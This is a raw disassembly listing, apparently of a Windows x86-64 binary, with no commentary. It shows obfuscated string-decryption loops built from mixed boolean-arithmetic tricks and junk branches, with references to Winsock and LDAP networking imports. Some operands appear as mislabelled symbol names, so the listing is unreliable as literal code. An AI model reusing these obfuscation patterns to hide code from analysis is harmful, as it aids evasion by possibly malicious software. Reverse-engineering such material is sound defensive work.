sub dl, 0x1e
movzx eax, byte [rbp + rbx + 0x3f0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c3402
sub r10b, 0x42
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x32
jmp 0x1400c3400
add r10b, 0x72
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x1e
jmp 0x1400c33f0
lea rdx, [rbp + 0x14d1d78]
jmp 0x1400c3e31
lea rdx, [rbp + 0x126dd9e]
jmp 0x1400c3e31
lea rdx, [rbp + 0x3f0]
mov rcx, qword [0x1402cdcd0]
call fcn.1400d0bf0
mov byte [rbp + 0x3b8], 0xfb
mov byte [rbp + 0x3b9], 0x98
mov byte [rbp + 0x3ba], 0xe5
mov byte [rbp + 0x3bb], 0xe4
mov byte [rbp + 0x3bc], 0xe5
mov byte [rbp + 0x3bd], __WSAFDIsSet
mov byte [rbp + 0x3be], __WSAFDIsSet
mov byte [rbp + 0x3bf], 0x9d
mov byte [rbp + 0x3c0], __WSAFDIsSet
mov byte [rbp + 0x3c1], 0x99
mov byte [rbp + 0x3c2], 0xa6
mov byte [rbp + 0x3c3], 0xb2
mov byte [rbp + 0x3c4], Ordinal_27
mov byte [rbp + 0x3c5], 0xf8
mov byte [rbp + 0x3c6], 0xab
mov byte [rbp + 0x3c7], 0xab
mov byte [rbp + 0x3c8], 0xa4
mov byte [rbp + 0x3c9], Ordinal_217
mov byte [rbp + 0x3ca], 0xa0
mov byte [rbp + 0x3cb], 0xa7
mov byte [rbp + 0x3cc], 0xa9
mov byte [rbp + 0x3cd], Ordinal_217
mov byte [rbp + 0x3ce], Ordinal_217
mov byte [rbp + 0x3cf], 0xa3
mov byte [rbp + 0x3d0], Ordinal_211
mov byte [rbp + 0x3d1], Ordinal_211
mov byte [rbp + 0x3d2], recv
mov byte [rbp + 0x3d3], Ordinal_46
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x3d4], xmm0
mov dword [rbp + 0x3e4], eax
mov word [rbp + 0x3e8], ax
mov byte [rbp + 0x3ea], al
movabs r14, 0xcdd2924431af0e56
movabs r15, 0x3c672465bf278106
movabs r13, 0xa0c1ffdd5bc9645a
movabs r12, 0x6977b6cc950d2b02
movzx r10d, byte [rsp + 0x32]
nop
mov r8, qword [0x1402cdf20]
mov r9, qword [0x1402cdf18]
nop
xor edi, edi
cmp rdi, 0x33
jae 0x1400c4b50
movzx ebx, byte [rbp + rdi + 0x3b8]
mov esi, ebx
cmp r8, rdi
ja 0x1400c4b44
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400c3fa6
lea rcx, [rdi + r14]
mov rax, rsi
and rax, rcx
imul r10, rax, 0xfffffffffffffffe
add r10, rsi
add r10, rcx
sub r10b, 0x5a
jmp 0x1400c3fe0
je 0x1400c4ad2
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400c4a4c
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c4a1e
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400c49fd
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400c49b8
movzx r11d, dil
cmp r9, rdi
ja 0x1400c4b38
lea rax, [r9 + 5]
cmp r8, rax
jae 0x1400c4011
lea ecx, [r11 + 0xe]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x62
jmp 0x1400c4060
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400c497a
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400c4963
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c4943
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400c4929
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400c490d
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400c48dc
nop
lea rax, [r8 + r9]
cmp rax, rdi
jbe 0x1400c459b
nop dword [rax]
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400c457c
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400c4557
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1400c4535
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1400c4527
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c4508
lea rcx, [r9 + 0x41]
cmp r8, rcx
je 0x1400c44ec
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400c44cd
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400c44ad
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400c4480
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400c4070
mov r8, rcx
lea r9, [rcx + 0x2a]
lea rax, [r9 + 2]
cmp rcx, rax
jb 0x1400c4b1d
lea rax, [r9 + 6]
cmp rcx, rax
jb 0x1400c4afd
lea rax, [r9 + 1]
cmp rcx, rax
jb 0x1400c422e
lea rax, [r9 + 5]
cmp rcx, rax
jb 0x1400c4214
lea rax, [r9 + 0x2a]
cmp rcx, rax
jb 0x1400c41f5
lea rcx, [r9 + 4]
cmp r8, rcx
jb 0x1400c4431
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1400c43e3
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1400c43a4
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400c4379
mov r8, rcx
lea r9, [rcx + 6]
lea rax, [r9 + 9]
cmp rcx, rax
ja 0x1400c434d
lea rax, [r9 + 0x28]
cmp rcx, rax
ja 0x1400c432e
lea rax, [r9 + 8]
cmp rcx, rax
ja 0x1400c430f
lea rax, [r9 + 0x20]
cmp rcx, rax
ja 0x1400c42ef
lea rax, [r9 + 6]
cmp rcx, rax
ja 0x1400c42d1
lea rcx, [r9 + 0x10]
cmp r8, rcx
ja 0x1400c42b2
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1400c428c
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x1400c4268
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x1400c424a
mov r8, rcx
lea r9, [rcx + 0x28]
jmp 0x1400c4070
lea edx, [r11 - 0x4e]
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400c4060
lea ecx, [r11 + 6]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x2a
jmp 0x1400c3fe4
add r11b, 0x5a
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
sub r10b, 0x76
jmp 0x1400c3f76
lea edx, [r11 + 0x70]
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x10
add r10b, dl
jmp 0x1400c498f
sub r11b, 0x3c
movzx eax, bl
and al, r11b
add al, al
sub bl, al
lea r10d, [r11 + rbx]
sub r10b, 0x5c
inc r9
dec rdi
inc rdi
jmp 0x1400c3f62
add r11b, 0x18
movzx eax, bl
and al, r11b
mov ecx, Ordinal_46
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, r11b
dec rdi
inc rdi
jmp 0x1400c3f62
lea edx, [r11 + 0x6c]
movzx eax, bl
and al, dl
mov ecx, 6
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x1400c49d6
sub r11b, 0x40
movzx eax, bl
and al, r11b
add al, al
sub bl, al
lea r10d, [r11 + rbx]
sub r10b, 0x40
add r8, r9
jmp 0x1400c4a33
add r11b, 0x14
movzx eax, bl
and al, r11b
mov ecx, Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, r11b
jmp 0x1400c4a33
lea edx, [r11 + 0x68]
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x1400c4a65
sub r11b, 0x44
movzx eax, bl
and al, r11b
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x24
add r10b, r11b
jmp 0x1400c4a90
add r11b, 0x10
movzx eax, bl
and al, r11b
add al, al
sub bl, al
lea r10d, [r11 + rbx]
sub r10b, 0x70
movzx eax, byte [rbp + rdi + 0x3b8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c3f62
add r11b, 0x62
movzx eax, r11b
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
mov byte [rbp + rdi + 0x3b8], r10b
inc rdi
jmp 0x1400c3f62
lea edx, [r11 - 0x4a]
movzx eax, dl
and al, bl
mov ecx, 3
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
cmp r9, 0x41
jb 0x1400c4394
lea edx, [r11 + 0x44]
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
add cl, cl
add cl, bl
add cl, dl
lea r10d, [rcx + rcx]
jmp 0x1400c498f
lea ecx, [r11 + 0xa]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x46
cmp r8, 0x200
jae 0x1400c489e
lea rax, [r9 + 0x400]
cmp r8, rax
jbe 0x1400c47b5
lea edx, [r11 - 0x74]
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x1400c43be
lea edx, [r11 + 0x5e]
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
lea rax, [r8 + r9]
cmp rax, 0x20
je 0x1400c48bb
lea rax, [r9 + 0x40]
cmp r8, rax
jbe 0x1400c46cd
lea ecx, [r11 + 0x7e]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x72
jmp 0x1400c43f8
add r11b, 0x54
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
sub r10b, 0x4c
movzx eax, byte [rbp + rdi + 0x3b8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c3f62
sub r11b, 0x58
movzx eax, r11b
and al, bl
mov ecx, 0x34
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
jmp 0x1400c4a90
lea edx, [r11 - 4]
movzx eax, dl
and al, bl
mov ecx, recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400c4a65
add r11b, 0x50
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
sub r10b, 0x30
jmp 0x1400c4a33
sub r11b, 0x5c
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
sub r10b, 0x7c
add r8, r9
jmp 0x1400c4a33
lea edx, [r11 - 8]
mov ecx, Ordinal_32
jmp 0x1400c49c5
add r11b, 0x4c
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
sub r10b, 0x14
dec rdi
inc rdi
jmp 0x1400c3f62
sub r11b, 0x60
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
sub r10b, 0x60
inc r9
dec rdi
inc rdi
jmp 0x1400c3f62
lea edx, [r11 - 0xc]
movzx eax, dl
and al, bl
mov ecx, Ordinal_46
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400c498f
lea rax, [r9 + 0xa]
cmp r8, rax
jae 0x1400c45c2
lea ecx, [r11 + 0x56]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x5a
jmp 0x1400c444b
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400c45fc
add r11b, 0x1c
movzx eax, r11b
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
movzx eax, byte [rbp + rdi + 0x3b8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c3f62
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c4623
lea ecx, [r11 + 0x74]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x2c
jmp 0x1400c4a65
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400c4650
add r11b, 0x20
movzx eax, r11b
and al, bl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
jmp 0x1400c4a33
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c4677
lea ecx, [r11 + 0x78]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x48
jmp 0x1400c49d6
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c46a6
add r11b, 0x24
movzx eax, r11b
and al, bl
mov ecx, 2
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
dec rdi
inc rdi
jmp 0x1400c3f62
lea rax, [r9 + 9]
cmp r8, rax
jne 0x1400c444b
lea ecx, [r11 + 0x7c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x64
jmp 0x1400c498f
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c46f4
lea ecx, [r11 + 0x2a]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x26
jmp 0x1400c498f
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c4723
sub r11b, 0x7e
movzx eax, r11b
and al, bl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
dec rdi
inc rdi
jmp 0x1400c3f62
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c4750
sub r11b, 0x7a
movzx eax, r11b
and al, bl
mov ecx, Ordinal_46
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
jmp 0x1400c4a33
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400c4777
lea ecx, [r11 + 0x32]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x5e
jmp 0x1400c4a65
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c43f8
sub r11b, 0x76
movzx eax, bl
and al, r11b
mov ecx, Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, r11b
movzx eax, byte [rbp + rdi + 0x3b8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c3f62
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c47ef
add r11b, 0x38
movzx eax, bl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, r11b
movzx eax, byte [rbp + rdi + 0x3b8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c3f62
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c481b
lea edx, [r11 - 0x70]
movzx eax, bl
and al, dl
mov ecx, 8
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x1400c4a65
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c4846
sub r11b, 0x18
movzx eax, bl
and al, r11b
add al, al
sub bl, al
lea r10d, [r11 + rbx]
sub r10b, 0x58
add r8, r9
jmp 0x1400c4a33
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c4873
sub r11b, 0x14
movzx eax, bl
and al, r11b
add al, al
sub bl, al
lea r10d, [r11 + rbx]
sub r10b, 0x74
inc r9
dec rdi
inc rdi
jmp 0x1400c3f62
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400c43be
lea edx, [r11 - 0x68]
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x28
add r10b, dl
jmp 0x1400c498f
lea edx, [r11 - 0x10]
movzx eax, bl
and al, dl
movzx ecx, bl
sub cl, al
add cl, 0x38
lea r10d, [rcx + rcx]
add r10b, dl
jmp 0x1400c49d6
lea edx, [r11 - 0x64]
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, bl
sub r10b, 0x44
add r10b, dl
jmp 0x1400c4a65
add r11b, 0x1a
movzx eax, r11b
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
movzx eax, byte [rbp + rdi + 0x3b8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c3f62
add r11b, 0x6e
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
sub r10b, 2
jmp 0x1400c4a90
lea ecx, [r11 - 0x3e]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x4e
jmp 0x1400c4a65
add r11b, 0x16
movzx eax, r11b
and al, bl
mov ecx, 0x33
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
jmp 0x1400c4a33
lea ecx, [r11 - 0x42]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x32
jmp 0x1400c49d6
lea ecx, [r11 - 0x46]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x16
sub r11b, 0x66
movzx eax, bl
and al, r11b
add al, al
sub bl, al
sub bl, 0x36
add bl, r11b
mov byte [rbp + rdi + 0x3b8], bl
inc r9
dec rdi
inc rdi
jmp 0x1400c3f62
movzx r11d, dil
lea edx, [r11 + 0x5e]
mov ecx, gethostname
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
add r11b, 0x46
movzx eax, bl
and al, r11b
mov ecx, listen
sub cl, al
add cl, cl
add cl, r10b
add cl, bl
add cl, r11b
mov byte [rbp + rdi + 0x3b8], cl
add r8, r9
jmp 0x1400c4a33
lea edx, [rdi - 0x4e]
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
add r8, r9
jmp 0x1400c4a33
lea rax, [rdi + r15]
and sil, al
add sil, sil
sub al, sil
lea r10d, [rbx + rax]
sub r10b, 0x2a
movzx eax, r10b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400c3f62
lea rax, [rdi + r13]
and sil, al
add sil, sil
sub al, sil
lea r10d, [rbx + rax]
sub r10b, 0x76
movzx r11d, dil
sub r11b, 0xe
movzx eax, bl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, bl
add cl, r11b
movzx eax, cl
mov byte [rbp + rdi + 0x3b8], al
inc r9
add rax, r9
sub rdi, rax
lea edx, [rdi + 0x48]
movzx eax, bl
and al, dl
mov ecx, 4
sub cl, al
add cl, cl
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0x3b8], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x3b8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c3f62
lea rax, [rdi + r12]
and sil, al
add sil, sil
sub al, sil
lea r10d, [rbx + rax]
sub r10b, 0xe
movzx eax, byte [rbp + rdi + 0x3b8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c3f62
sub r11b, 0x52
movzx eax, bl
and al, r11b
mov ecx, Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, r11b
jmp 0x1400c3f60
add r11b, 2
movzx eax, bl
and al, r11b
add al, al
sub bl, al
lea r10d, [r11 + rbx]
sub r10b, 0xe
jmp 0x1400c3f50
lea r9, [rbp + 0x15da580]
jmp 0x1400c4b57
lea r9, [rbp + 0x10cb3d6]
jmp 0x1400c4b57
lea r9, [rbp + 0x3b8]
mov edx, 1
mov r8d, 0xfa0
lea rcx, [rbp + 0x26d0]
call fcn.1400687d0
lea rdx, [rbp + 0x26d0]
lea rcx, [0x1402c7d60]
call fcn.1400a9920
mov byte [0x1402c987d], 1
jmp 0x1400c631b
mov byte [rbp + 0x380], 0x66
mov byte [rbp + 0x381], 0x78
mov byte [rbp + 0x382], 3
mov byte [rbp + 0x383], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x384], 9
mov byte [rbp + 0x385], 9
mov byte [rbp + 0x386], 0xb6
mov byte [rbp + 0x387], 0x7b
mov byte [rbp + 0x388], 7
mov byte [rbp + 0x389], 0xb1
mov byte [rbp + 0x38a], 0x53
mov byte [rbp + 0x38b], reloc.WLDAP32.dll_Ordinal_30
mov byte [rbp + 0x38c], 0
mov byte [rbp + 0x38d], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x38e], reloc.WS2_32.dll_send
mov byte [rbp + 0x38f], Ordinal_27
mov byte [rbp + 0x390], 4
mov byte [rbp + 0x391], reloc.WS2_32.dll_recv
mov byte [rbp + 0x392], WSAGetLastError
mov byte [rbp + 0x393], WSASetLastError
mov byte [rbp + 0x394], 8
mov byte [rbp + 0x395], Ordinal_27
mov byte [rbp + 0x396], 0xa7
mov byte [rbp + 0x397], 0xbd
mov byte [rbp + 0x398], 0x80
xor eax, eax
movups xmmword [rbp + 0x399], xmm0
mov qword [rbp + 0x3a9], rax
mov word [rbp + 0x3b1], ax
movabs r14, 0x7fdf0fefd48d8044
movabs r12, 0x7f196f8ecfde81dc
movabs r15, 0x7f9d2fcf7da880cc
movzx r11d, byte [rsp + 0x32]
nop word [rax + rax]
mov r8, qword [0x1402cdf20]
mov r9, qword [0x1402cdf18]
nop
xor edi, edi
cmp rdi, 0x33
jae 0x1400c5557
movzx ebx, byte [rbp + rdi + 0x380]
mov esi, ebx
cmp r8, rdi
ja 0x1400c554b
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400c4cd9
lea rcx, [rdi + r14]
mov rax, rcx
and rax, rsi
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rsi
add r11b, 0x24
jmp 0x1400c4cf9
je 0x1400c54d4
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c544b
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400c5405
movzx r10d, dil
nop dword [rax]
cmp r9, rdi
ja 0x1400c553f
lea rax, [r9 + 0x200]
cmp r8, rax
jae 0x1400c4d30
lea ecx, [r10 - 0x6c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0xc
jmp 0x1400c4d60
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400c53e6
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c53c4
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400c5393
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400c4ff4
nop dword [rax]
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400c4fd5
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1400c4fb0
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400c4f8a
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400c4f71
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400c4f55
lea r8, [r9 + 0x28]
lea r9, [r8 + 0x400]
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x1400c551f
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1400c5503
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400c4e96
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400c4e77
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1400c4e5d
lea r8, [r9 + 0x400]
lea r9, [r8 + 0x200]
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1400c4f24
lea rax, [r9 + 4]
cmp r8, rax
ja 0x1400c4f08
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x1400c4eee
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1400c4ece
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1400c4eb2
lea r8, [r9 + 0x200]
lea r9, [r8 + 0x5a]
jmp 0x1400c4d70
lea ecx, [r10 - 0x14]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x74
jmp 0x1400c4d60
lea edx, [r10 + 0x64]
movzx eax, dl
and al, bl
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400c4d00
sub r10b, 0x24
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 4
jmp 0x1400c4ca6
add r10b, 0x80
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
add r11b, 0x80
jmp 0x1400c5361
sub r10b, 8
movzx eax, r10b
and al, bl
mov ecx, Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
jmp 0x1400c5364
lea ecx, [r10 + 0x70]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x10
jmp 0x1400c5467
sub r10b, 0x18
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x58
jmp 0x1400c5492
add r10b, 0x60
movzx eax, r10b
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
movzx eax, byte [rbp + rdi + 0x380]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c4c92
add r10b, 0x58
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x68
jmp 0x1400c5361
lea edx, [r10 - 0x30]
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
jmp 0x1400c533a
add r10b, 0x48
movzx eax, r10b
and al, bl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
dec rdi
inc rdi
jmp 0x1400c4c92
sub r10b, 0x40
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x40
inc r9
dec rdi
inc rdi
jmp 0x1400c4c92
lea edx, [r10 + 0x38]
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400c541e
lea rax, [r9 + 0x200]
cmp r8, rax
jae 0x1400c50a8
lea edx, [r10 + 0x44]
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
lea rax, [r9 + r8]
cmp rax, 0x400
je 0x1400c537d
lea rax, [r9 + 0x200]
cmp r8, rax
jbe 0x1400c518f
lea ecx, [r10 + 0x34]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x6c
cmp r8, 0x200
jae 0x1400c5324
lea rax, [r9 + 0x5a]
cmp r8, rax
jbe 0x1400c5227
lea ecx, [r10 - 0x38]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x78
cmp r9, 0x5a
jb 0x1400c5314
lea ecx, [r10 + 0x18]
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, bl
lea r11d, [rcx*2 - 0x50]
jmp 0x1400c541e
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c50e2
add r10b, 0x28
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x18
movzx eax, byte [rbp + rdi + 0x380]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c4c92
inc rax
cmp r8, rax
jne 0x1400c510d
lea edx, [r10 + 0x38]
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400c5467
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c5136
sub r10b, 0x40
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x40
jmp 0x1400c5364
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c5163
add r10b, 0x48
movzx eax, r10b
and al, bl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
jmp 0x1400c5361
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400c501e
lea edx, [r10 + 0x68]
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400c541e
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c51b6
lea ecx, [r10 - 0x44]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x24
jmp 0x1400c541e
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c51e9
sub r10b, 0x34
movzx eax, r10b
and al, bl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
dec rdi
inc rdi
jmp 0x1400c4c92
lea rax, [r9 + 5]
cmp r8, rax
